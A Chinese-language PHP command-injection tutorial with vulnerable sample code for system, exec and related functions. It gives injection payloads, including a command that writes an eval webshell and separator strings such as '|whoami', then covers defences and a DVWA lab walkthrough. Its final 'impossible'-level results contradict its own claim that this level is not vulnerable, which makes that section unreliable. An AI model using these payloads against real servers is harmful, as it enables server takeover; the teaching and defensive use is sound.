命令注入,又稱命令執行漏洞。(RCE,remote command execute)
1. 漏洞原理
成因:程序員使用后端腳本語言(如:PHP、ASP)開發應用程序的過程中,雖然腳本語言快速、方便,但也面臨着一些問題,如:無法接觸底層。如開發一些企業級的應用時需要去調用一些外部程序,而當調用這些外部程序(系統shell命令或者exe等可執行文件)時,就會用到一些函數去執行系統命令。
原理:web應用在調用這些函數執行系統命令的時候,在沒有做好過濾用戶輸入的情況下,如果用戶將自己的輸入作為系統命令的參數拼接到命令行中,就會造成命令注(命令執行)的漏洞。
造成命令注入(命令執行)的條件:
-
用戶輸入作為拼接
-
沒有足夠的過濾
-
web應用源碼中有相關的敏感函數
2. 漏洞危害
-
繼承web服務器程序權限(web用戶權限),便可去執行系統命令
-
繼承web服務器權限,便可讀寫文件等
-
反彈shell
-
控制整個網站
-
控制整個服務器
3. PHP常見的敏感函數和語句
以下是一些能將字符串當作系統命令來執行的PHP函數。
3.1 system()
system()函數能夠將字符串作為OS命令執行,並自帶輸出到當前頁面的功能。
最簡單的存在system()命令注入漏洞的網頁源代碼(關鍵部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
system($str);
}
?>
POC:可以提交參數 ?cmd=ipconfig作為POC進行注入測試。
3.2 exec()
exec()函數也能將字符串作為OS命令執行,但需要手動輸出執行結果。
最簡單的存在exec()命令注入漏洞的網頁源代碼(關鍵部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
print exec($str);
}
?>
POC:可以提交參數 ?cmd=ipconfig >> 1.txt 作為POC進行注入測試。
注意:exec()不但自帶輸出結果到當前頁面的功能,且即便使用print打印,返回的輸出結果也是有限的。故采可用>>來將結果導入到一個文件里,再查看文件即可。
3.3 shell_exec()
shell_exec()函數也能將字符串作為OS命令執行,但需要手動輸出執行結果。
最簡單的存在shell_exec()命令注入漏洞的網頁源代碼(關鍵部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
print shell_exec($str);
}
?>
POC:可以提交參數 ?cmd=ipconfig作為POC進行注入測試。
3.4 passthru()
passthru()函數也能將字符串作為OS命令執行,並自帶輸出到當前頁面的功能。
最簡單的存在passthru()命令注入漏洞的網頁源代碼(關鍵部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
passthru($str);
}
?>
POC:可以提交參數 ?cmd=ipconfig作為POC進行注入測試。
3.5 popen()
popen()也能夠執行OS命令,但是該函數不返回命令結果,而是返回一個文件指針。
popen()函數用來打開進程文件指針,打開一個該進程的管道,接下來便可以對該進程進行操作。
popen(command,mode)
command:必需。規定要執行的命令。
mode:必需。選擇模式。可能的值:
r:只讀
w:只寫(打開並清空已有文件或創建一個新文件)
最簡單的存在popen()命令注入漏洞的網頁源代碼(關鍵部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
popen($str,'r');
}
?>
POC:可以提交參數 ?cmd=ipconfig >> 1.txt 作為POC進行注入測試。
注意:popen()返回的是一個文件指針,故采可用>>來將結果導入到一個文件里,再查看文件即可。
3.6 反引號
反引號[``]內的字符串也會被解析成OS命令。
最簡單的存在反引號[``]命令注入漏洞的網頁源代碼(關鍵部分)
<?php
if($_REQUEST['cmd']){
$str=$_REQUEST['cmd'];
print `$str`;
}
?>
POC:可以提交參數 ?cmd=ipconfig作為POC進行注入測試。
4. 漏洞利用
命令注入漏洞,攻擊者直接繼承web用戶權限,可以在服務器上執行任意命令,危害特別大。
以下是幾種常見的利用方式,但利用方式不止這些,我們可以進行任何shell可以執行的操作。
-
直接獲取webshell
例如可以寫入一句話木馬: ?cmd=echo "<?php @eval($_REQUEST[777]); ?>" > D:\phpstudy\WWW\webshell.php
-
顯示當前路徑
例如可以提交參數 ?cmd=cd 來查看當前路徑。
-
讀文件
例如:?cmd=type c:\windows\system32\drivers\etc\hosts,來查看系統hosts文件。
-
寫文件
例如可以提交參數 ?cmd=echo "<?php phpinfo(); ?>" > D:\software\shell.php
以下是在注入點用來執行多條語句的分割參數:
-
| # 管道符號(豎線)作用是將符號前的進程輸出,並作為符號后進程的輸入。此處也可以用於執行多條命令
用法: command 1 | command 2 他的功能是把第一個命令command 1執行的結果作為command 2的輸入傳給command 2,並且只打印Command 2執行的結果
-
|| # 可同時執行多條命令,當碰到執行正確的命令時,將不再執行后面的命令。相當於‘或’,出現一個正確就行。
-
&& # 可同時執行多條命令,當碰到執行錯誤的命令時,將不再執行后面的命令。相當於‘與’,出現一個錯誤就不行。
-
& # 同時執行多條命令,不管命令是否執行成功
如:客戶端頁面是一個用來給客戶指定一個目標主機並發送ping它的頁面,所以此處很可能存在命令注入漏洞。
服務端源碼:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
$cmd = shell_exec( 'ping ' . $target );
} //若是windows就直接ping,否則linux一類的得加-c 4來停止ping命令。
else {
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
echo "<pre>{$cmd}</pre>";
}
?>
我們可以提交參數 ?Submit=Submit&ip=192.168.1.1|net user 來進行POC檢測。
5. 漏洞防御
-
盡量減少能命令執行的函數的使用,允許的話可直接在php的配置文件php.ini中禁用
-
在使用命令執行的函數之前,首先對用戶輸入參數進行過濾
-
參數的值盡量使用引號包裹,並在拼接之前調用addslashes進行轉義
以下是一個過濾嚴格,不存在命令注入漏洞的服務器端源代碼(核心):
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
相關過濾機制介紹:
Impossible級別的代碼加入了Anti-CSRF token,同時對參數ip進行了嚴格的限制,只有諸如“數字.數字.數字.數字”的輸入才會被接收執行,因此不存在命令注入漏洞。以下是相關函數介紹:
-
stripslashes(string)
stripslashes函數會刪除字符串string中的反斜杠,返回已剝離反斜杠的字符串。
-
explode(separator,string,limit)
把字符串打散為數組,返回字符串的數組。參數separator規定在哪里分割字符串,參數string是要分割的字符串,可選參數limit規定所返回的數組元素的數目。
-
is_numeric(string)
檢測string是否為數字或數字字符串,如果是返回TRUE,否則返回FALSE。
-
generateSessionToken()和checkToken()
generateSessionToken()用來生成Token,checkToken()則用來檢查Token是否正確和一致。
6. 漏洞實例
DVWA平台的實驗command injection模塊:
low級別:
-
127.0.0.1|whoami # 注入命令成功
-
127.0.0.1&whoami # 注入命令成功
-
127.0.0.1&&whoami # 注入命令成功
-
127.0.0.1||whoami # 注入命令成功
medium級別:
-
127.0.0.1|whoami # 注入命令成功
-
127.0.0.1&whoami # 注入命令成功
-
127.0.0.1&&whoami # 注入命令不成功,查看源碼發現&&被過濾。
-
127.0.0.1||whoami # 注入命令成功
-
127.0.0.1&;&ipconfig # 注入命令成功
high級別:
-
127.0.0.1|whoami # 注入命令成功,因為源碼過濾的是'| '(豎線+空格),故我們不在豎線后加空格就可繞開過濾。
-
127.0.0.1&whoami # 注入命令不成功
-
127.0.0.1&&whoami # 注入命令不成功
-
127.0.0.1||whoami # 注入命令不成功
impossible級別:
-
127.0.0.1|whoami # 注入命令成功
-
127.0.0.1&whoami # 注入命令成功
-
127.0.0.1&&whoami # 注入命令不成功,查看源碼發現&&被過濾。
-
127.0.0.1||whoami # 注入命令成功
-